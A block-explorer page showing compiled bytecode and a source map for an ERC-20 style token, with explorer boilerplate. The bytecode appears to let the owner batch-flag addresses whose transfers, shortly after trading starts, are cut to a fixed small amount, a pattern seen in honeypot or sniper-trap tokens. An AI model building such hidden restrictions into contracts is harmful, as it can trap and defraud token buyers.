60016000868685818110610a2257610a2161176e565b5b9050602002016020810190610a37919061151a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a93906117cc565b9150506109ff565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284610b379190611814565b905083811015610b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7390611894565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bec90611926565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b906119b8565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d429190611448565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db590611a4a565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2390611ab6565b60405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610ecd5750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b610ef75742610ee9610708600854610b2890919063ffffffff16565b1115610ef657620f424090505b5b610f4981600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108b90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fde81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b2890919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161107e9190611448565b60405180910390a3505050565b6000828211156110d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c790611b22565b60405180910390fd5b600082846110de9190611b42565b90508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611159576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115090611be8565b60405180910390fd5b61116e8160025461108b90919063ffffffff16565b6002819055506111c681600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108b90919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112679190611448565b60405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b838110156112ad578082015181840152602081019050611292565b60008484015250505050565b6000601f19601f8301169050919050565b60006112d582611273565b6112df818561127e565b93506112ef81856020860161128f565b6112f8816112b9565b840191505092915050565b6000602082019050818103600083015261131d81846112ca565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061135a8261132f565b9050919050565b61136a8161134f565b811461137557600080fd5b50565b60008135905061138781611361565b92915050565b6000819050919050565b6113a08161138d565b81146113ab57600080fd5b50565b6000813590506113bd81611397565b92915050565b600080604083850312156113da576113d9611325565b5b60006113e885828601611378565b92505060206113f9858286016113ae565b9150509250929050565b60008115159050919050565b61141881611403565b82525050565b6000602082019050611433600083018461140f565b92915050565b6114428161138d565b82525050565b600060208201905061145d6000830184611439565b92915050565b60008060006060848603121561147c5761147b611325565b5b600061148a86828701611378565b935050602061149b86828701611378565b92505060406114ac868287016113ae565b9150509250925092565b600060ff82169050919050565b6114cc816114b6565b82525050565b60006020820190506114e760008301846114c3565b92915050565b60006020828403121561150357611502611325565b5b6000611511848285016113ae565b91505092915050565b6000602082840312156115305761152f611325565b5b600061153e84828501611378565b91505092915050565b6115508161134f565b82525050565b600060208201905061156b6000830184611547565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261159657611595611571565b5b8235905067ffffffffffffffff8111156115b3576115b2611576565b5b6020830191508360208202830111156115cf576115ce61157b565b5b9250929050565b6115df81611403565b81146115ea57600080fd5b50565b6000813590506115fc816115d6565b92915050565b60008060006040848603121561161b5761161a611325565b5b600084013567ffffffffffffffff8111156116395761163861132a565b5b61164586828701611580565b93509350506020611658868287016115ed565b9150509250925092565b6000806040838503121561167957611678611325565b5b600061168785828601611378565b925050602061169885828601611378565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806116e957607f821691505b6020821081036116fc576116fb6116a2565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061173860208361127e565b915061174382611702565b602082019050919050565b600060208201905081810360008301526117678161172b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117d78261138d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036118095761180861179d565b5b600182019050919050565b600061181f8261138d565b915061182a8361138d565b92508282019050808211156118425761184161179d565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061187e601b8361127e565b915061188982611848565b602082019050919050565b600060208201905081810360008301526118ad81611871565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061191060248361127e565b915061191b826118b4565b604082019050919050565b6000602082019050818103600083015261193f81611903565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006119a260228361127e565b91506119ad82611946565b604082019050919050565b600060208201905081810360008301526119d181611995565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611a3460258361127e565b9150611a3f826119d8565b604082019050919050565b60006020820190508181036000830152611a6381611a27565b9050919050565b7f73616d6520616464726573730000000000000000000000000000000000000000600082015250565b6000611aa0600c8361127e565b9150611aab82611a6a565b602082019050919050565b60006020820190508181036000830152611acf81611a93565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f770000600082015250565b6000611b0c601e8361127e565b9150611b1782611ad6565b602082019050919050565b60006020820190508181036000830152611b3b81611aff565b9050919050565b6000611b4d8261138d565b9150611b588361138d565b9250828203905081811115611b7057611b6f61179d565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000611bd260218361127e565b9150611bdd82611b76565b604082019050919050565b60006020820190508181036000830152611c0181611bc5565b905091905056fea2646970667358221220c047d79566f5cae5c3d452910a432248f2d36ddd5ddadfe7ffca9fac31a940db64736f6c63430008120033

Deployed Bytecode Sourcemap

2066:4390:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2695:16;;;;;;;;;;;2687:34;;:57;2722:21;2687:57;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2066:4390;;;;2758:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3565:148;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3038:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3722:308;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2946:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4039:206;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6337:116;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;983:85;;;;;;;;;;;;;:::i;:::-;;3138:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2446:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2850:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4254:216;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3257:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;766:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1123:236;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3422:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2758:83;2795:13;2828:5;2821:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2758:83;:::o;3565:148::-;3630:4;3647:36;3656:10;3668:7;3677:5;3647:8;:36::i;:::-;3701:4;3694:11;;3565:148;;;;:::o;3038:91::-;3082:7;3109:12;;3102:19;;3038:91;:::o;3722:308::-;3811:4;3828:36;3838:6;3846:9;3857:6;3828:9;:36::i;:::-;3885:1;3872:9;;:14;3869:48;;3900:15;3888:9;:27;;;;3869:48;3927:73;3936:6;3944:10;3956:43;3992:6;3956:11;:19;3968:6;3956:19;;;;;;;;;;;;;;;:31;3976:10;3956:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;3927:8;:73::i;:::-;4018:4;4011:11;;3722:308;;;;;:::o;2946:83::-;2987:5;3012:9;;;;;;;;;;;3005:16;;2946:83;:::o;4039:206::-;4119:4;4136:79;4145:10;4157:7;4166:48;4203:10;4166:11;:23;4178:10;4166:23;;;;;;;;;;;;;;;:32;4190:7;4166:32;;;;;;;;;;;;;;;;:36;;:48;;;;:::i;:::-;4136:8;:79::i;:::-;4233:4;4226:11;;4039:206;;;;:::o;6337:116::-;6382:4;6399:24;6405:10;6417:5;6399;:24::i;:::-;6441:4;6434:11;;6337:116;;;:::o;983:85::-;907:10;897:20;;:6;;;;;;;;;;:20;;;889:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;1058:1:::1;1041:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;983:85::o:0;3138:110::-;3195:7;3222:9;:18;3232:7;3222:18;;;;;;;;;;;;;;;;3215:25;;3138:110;;;:::o;2446:24::-;;;;:::o;2850:87::-;2889:13;2922:7;2915:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2850:87;:::o;4254:216::-;4339:4;4356:84;4365:10;4377:7;4386:53;4423:15;4386:11;:23;4398:10;4386:23;;;;;;;;;;;;;;;:32;4410:7;4386:32;;;;;;;;;;;;;;;;:36;;:53;;;;:::i;:::-;4356:8;:84::i;:::-;4458:4;4451:11;;4254:216;;;;:::o;3257:156::-;3326:4;3343:40;3353:10;3365:9;3376:6;3343:9;:40::i;:::-;3401:4;3394:11;;3257:156;;;;:::o;766:21::-;;;;;;;;;;;;:::o;1123:236::-;907:10;897:20;;:6;;;;;;;;;;:20;;;889:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;1241:9:::1;1236:116;1260:8;;:15;;1256:1;:19;1236:116;;;1332:8;1297:19;:32;1317:8;;1326:1;1317:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;1297:32;;;;;;;;;;;;;;;;:43;;;;;;;;;;;;;;;;;;1277:3;;;;;:::i;:::-;;;;1236:116;;;;1123:236:::0;;;:::o;3422:134::-;3494:7;3521:11;:18;3533:5;3521:18;;;;;;;;;;;;;;;:27;3540:7;3521:27;;;;;;;;;;;;;;;;3514:34;;3422:134;;;;:::o;86:181::-;144:7;164:9;180:1;176;:5;;;;:::i;:::-;164:17;;205:1;200;:6;;192:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;258:1;251:8;;;86:181;;;;:::o;5652:335::-;5762:1;5745:19;;:5;:19;;;5737:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5843:1;5824:21;;:7;:21;;;5816:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5927:5;5897:11;:18;5909:5;5897:18;;;;;;;;;;;;;;;:27;5916:7;5897:27;;;;;;;;;;;;;;;:35;;;;5964:7;5948:31;;5957:5;5948:31;;;5973:5;5948:31;;;;;;:::i;:::-;;;;;;;;5652:335;;;:::o;4479:532::-;4595:1;4577:20;;:6;:20;;;4569:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;4668:9;4658:19;;:6;:19;;;4650:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;4708:19;:27;4728:6;4708:27;;;;;;;;;;;;;;;;;;;;;;;;;:61;;;;4739:19;:30;4759:9;4739:30;;;;;;;;;;;;;;;;;;;;;;;;;4708:61;4705:140;;4812:15;4790:19;4804:4;4790:9;;:13;;:19;;;;:::i;:::-;:37;4787:58;;;4838:5;4829:14;;4787:58;4705:140;4869:29;4891:6;4869:9;:17;4879:6;4869:17;;;;;;;;;;;;;;;;:21;;:29;;;;:::i;:::-;4849:9;:17;4859:6;4849:17;;;;;;;;;;;;;;;:49;;;;4926:32;4951:6;4926:9;:20;4936:9;4926:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;4903:9;:20;4913:9;4903:20;;;;;;;;;;;;;;;:55;;;;4985:9;4968:35;;4977:6;4968:35;;;4996:6;4968:35;;;;;;:::i;:::-;;;;;;;;4479:532;;;:::o;276:184::-;334:7;367:1;362;:6;;354:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;414:9;430:1;426;:5;;;;:::i;:::-;414:17;;451:1;444:8;;;276:184;;;;:::o;5337:306::-;5431:1;5412:21;;:7;:21;;;5404:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5499:23;5516:5;5499:12;;:16;;:23;;;;:::i;:::-;5484:12;:38;;;;5554:29;5577:5;5554:9;:18;5564:7;5554:18;;;;;;;;;;;;;;;;:22;;:29;;;;:::i;:::-;5533:9;:18;5543:7;5533:18;;;;;;;;;;;;;;;:50;;;;5625:1;5599:36;;5608:7;5599:36;;;5629:5;5599:36;;;;;;:::i;:::-;;;;;;;;5337:306;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:::-;5247:6;5296:2;5284:9;5275:7;5271:23;5267:32;5264:119;;;5302:79;;:::i;:::-;5264:119;5422:1;5447:53;5492:7;5483:6;5472:9;5468:22;5447:53;:::i;:::-;5437:63;;5393:117;5188:329;;;;:::o;5523:118::-;5610:24;5628:5;5610:24;:::i;:::-;5605:3;5598:37;5523:118;;:::o;5647:222::-;5740:4;5778:2;5767:9;5763:18;5755:26;;5791:71;5859:1;5848:9;5844:17;5835:6;5791:71;:::i;:::-;5647:222;;;;:::o;5875:117::-;5984:1;5981;5974:12;5998:117;6107:1;6104;6097:12;6121:117;6230:1;6227;6220:12;6261:568;6334:8;6344:6;6394:3;6387:4;6379:6;6375:17;6371:27;6361:122;;6402:79;;:::i;:::-;6361:122;6515:6;6502:20;6492:30;;6545:18;6537:6;6534:30;6531:117;;;6567:79;;:::i;:::-;6531:117;6681:4;6673:6;6669:17;6657:29;;6735:3;6727:4;6719:6;6715:17;6705:8;6701:32;6698:41;6695:128;;;6742:79;;:::i;:::-;6695:128;6261:568;;;;;:::o;6835:116::-;6905:21;6920:5;6905:21;:::i;:::-;6898:5;6895:32;6885:60;;6941:1;6938;6931:12;6885:60;6835:116;:::o;6957:133::-;7000:5;7038:6;7025:20;7016:29;;7054:30;7078:5;7054:30;:::i;:::-;6957:133;;;;:::o;7096:698::-;7188:6;7196;7204;7253:2;7241:9;7232:7;7228:23;7224:32;7221:119;;;7259:79;;:::i;:::-;7221:119;7407:1;7396:9;7392:17;7379:31;7437:18;7429:6;7426:30;7423:117;;;7459:79;;:::i;:::-;7423:117;7572:80;7644:7;7635:6;7624:9;7620:22;7572:80;:::i;:::-;7554:98;;;;7350:312;7701:2;7727:50;7769:7;7760:6;7749:9;7745:22;7727:50;:::i;:::-;7717:60;;7672:115;7096:698;;;;;:::o;7800:474::-;7868:6;7876;7925:2;7913:9;7904:7;7900:23;7896:32;7893:119;;;7931:79;;:::i;:::-;7893:119;8051:1;8076:53;8121:7;8112:6;8101:9;8097:22;8076:53;:::i;:::-;8066:63;;8022:117;8178:2;8204:53;8249:7;8240:6;8229:9;8225:22;8204:53;:::i;:::-;8194:63;;8149:118;7800:474;;;;;:::o;8280:180::-;8328:77;8325:1;8318:88;8425:4;8422:1;8415:15;8449:4;8446:1;8439:15;8466:320;8510:6;8547:1;8541:4;8537:12;8527:22;;8594:1;8588:4;8584:12;8615:18;8605:81;;8671:4;8663:6;8659:17;8649:27;;8605:81;8733:2;8725:6;8722:14;8702:18;8699:38;8696:84;;8752:18;;:::i;:::-;8696:84;8517:269;8466:320;;;:::o;8792:182::-;8932:34;8928:1;8920:6;8916:14;8909:58;8792:182;:::o;8980:366::-;9122:3;9143:67;9207:2;9202:3;9143:67;:::i;:::-;9136:74;;9219:93;9308:3;9219:93;:::i;:::-;9337:2;9332:3;9328:12;9321:19;;8980:366;;;:::o;9352:419::-;9518:4;9556:2;9545:9;9541:18;9533:26;;9605:9;9599:4;9595:20;9591:1;9580:9;9576:17;9569:47;9633:131;9759:4;9633:131;:::i;:::-;9625:139;;9352:419;;;:::o;9777:180::-;9825:77;9822:1;9815:88;9922:4;9919:1;9912:15;9946:4;9943:1;9936:15;9963:180;10011:77;10008:1;10001:88;10108:4;10105:1;10098:15;10132:4;10129:1;10122:15;10149:233;10188:3;10211:24;10229:5;10211:24;:::i;:::-;10202:33;;10257:66;10250:5;10247:77;10244:103;;10327:18;;:::i;:::-;10244:103;10374:1;10367:5;10363:13;10356:20;;10149:233;;;:::o;10388:191::-;10428:3;10447:20;10465:1;10447:20;:::i;:::-;10442:25;;10481:20;10499:1;10481:20;:::i;:::-;10476:25;;10524:1;10521;10517:9;10510:16;;10545:3;10542:1;10539:10;10536:36;;;10552:18;;:::i;:::-;10536:36;10388:191;;;;:::o;10585:177::-;10725:29;10721:1;10713:6;10709:14;10702:53;10585:177;:::o;10768:366::-;10910:3;10931:67;10995:2;10990:3;10931:67;:::i;:::-;10924:74;;11007:93;11096:3;11007:93;:::i;:::-;11125:2;11120:3;11116:12;11109:19;;10768:366;;;:::o;11140:419::-;11306:4;11344:2;11333:9;11329:18;11321:26;;11393:9;11387:4;11383:20;11379:1;11368:9;11364:17;11357:47;11421:131;11547:4;11421:131;:::i;:::-;11413:139;;11140:419;;;:::o;11565:223::-;11705:34;11701:1;11693:6;11689:14;11682:58;11774:6;11769:2;11761:6;11757:15;11750:31;11565:223;:::o;11794:366::-;11936:3;11957:67;12021:2;12016:3;11957:67;:::i;:::-;11950:74;;12033:93;12122:3;12033:93;:::i;:::-;12151:2;12146:3;12142:12;12135:19;;11794:366;;;:::o;12166:419::-;12332:4;12370:2;12359:9;12355:18;12347:26;;12419:9;12413:4;12409:20;12405:1;12394:9;12390:17;12383:47;12447:131;12573:4;12447:131;:::i;:::-;12439:139;;12166:419;;;:::o;12591:221::-;12731:34;12727:1;12719:6;12715:14;12708:58;12800:4;12795:2;12787:6;12783:15;12776:29;12591:221;:::o;12818:366::-;12960:3;12981:67;13045:2;13040:3;12981:67;:::i;:::-;12974:74;;13057:93;13146:3;13057:93;:::i;:::-;13175:2;13170:3;13166:12;13159:19;;12818:366;;;:::o;13190:419::-;13356:4;13394:2;13383:9;13379:18;13371:26;;13443:9;13437:4;13433:20;13429:1;13418:9;13414:17;13407:47;13471:131;13597:4;13471:131;:::i;:::-;13463:139;;13190:419;;;:::o;13615:224::-;13755:34;13751:1;13743:6;13739:14;13732:58;13824:7;13819:2;13811:6;13807:15;13800:32;13615:224;:::o;13845:366::-;13987:3;14008:67;14072:2;14067:3;14008:67;:::i;:::-;14001:74;;14084:93;14173:3;14084:93;:::i;:::-;14202:2;14197:3;14193:12;14186:19;;13845:366;;;:::o;14217:419::-;14383:4;14421:2;14410:9;14406:18;14398:26;;14470:9;14464:4;14460:20;14456:1;14445:9;14441:17;14434:47;14498:131;14624:4;14498:131;:::i;:::-;14490:139;;14217:419;;;:::o;14642:162::-;14782:14;14778:1;14770:6;14766:14;14759:38;14642:162;:::o;14810:366::-;14952:3;14973:67;15037:2;15032:3;14973:67;:::i;:::-;14966:74;;15049:93;15138:3;15049:93;:::i;:::-;15167:2;15162:3;15158:12;15151:19;;14810:366;;;:::o;15182:419::-;15348:4;15386:2;15375:9;15371:18;15363:26;;15435:9;15429:4;15425:20;15421:1;15410:9;15406:17;15399:47;15463:131;15589:4;15463:131;:::i;:::-;15455:139;;15182:419;;;:::o;15607:180::-;15747:32;15743:1;15735:6;15731:14;15724:56;15607:180;:::o;15793:366::-;15935:3;15956:67;16020:2;16015:3;15956:67;:::i;:::-;15949:74;;16032:93;16121:3;16032:93;:::i;:::-;16150:2;16145:3;16141:12;16134:19;;15793:366;;;:::o;16165:419::-;16331:4;16369:2;16358:9;16354:18;16346:26;;16418:9;16412:4;16408:20;16404:1;16393:9;16389:17;16382:47;16446:131;16572:4;16446:131;:::i;:::-;16438:139;;16165:419;;;:::o;16590:194::-;16630:4;16650:20;16668:1;16650:20;:::i;:::-;16645:25;;16684:20;16702:1;16684:20;:::i;:::-;16679:25;;16728:1;16725;16721:9;16713:17;;16752:1;16746:4;16743:11;16740:37;;;16757:18;;:::i;:::-;16740:37;16590:194;;;;:::o;16790:220::-;16930:34;16926:1;16918:6;16914:14;16907:58;16999:3;16994:2;16986:6;16982:15;16975:28;16790:220;:::o;17016:366::-;17158:3;17179:67;17243:2;17238:3;17179:67;:::i;:::-;17172:74;;17255:93;17344:3;17255:93;:::i;:::-;17373:2;17368:3;17364:12;17357:19;;17016:366;;;:::o;17388:419::-;17554:4;17592:2;17581:9;17577:18;17569:26;;17641:9;17635:4;17631:20;17627:1;17616:9;17612:17;17605:47;17669:131;17795:4;17669:131;:::i;:::-;17661:139;;17388:419;;;:::o

Swarm Source

ipfs://c047d79566f5cae5c3d452910a432248f2d36ddd5ddadfe7ffca9fac31a940db
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.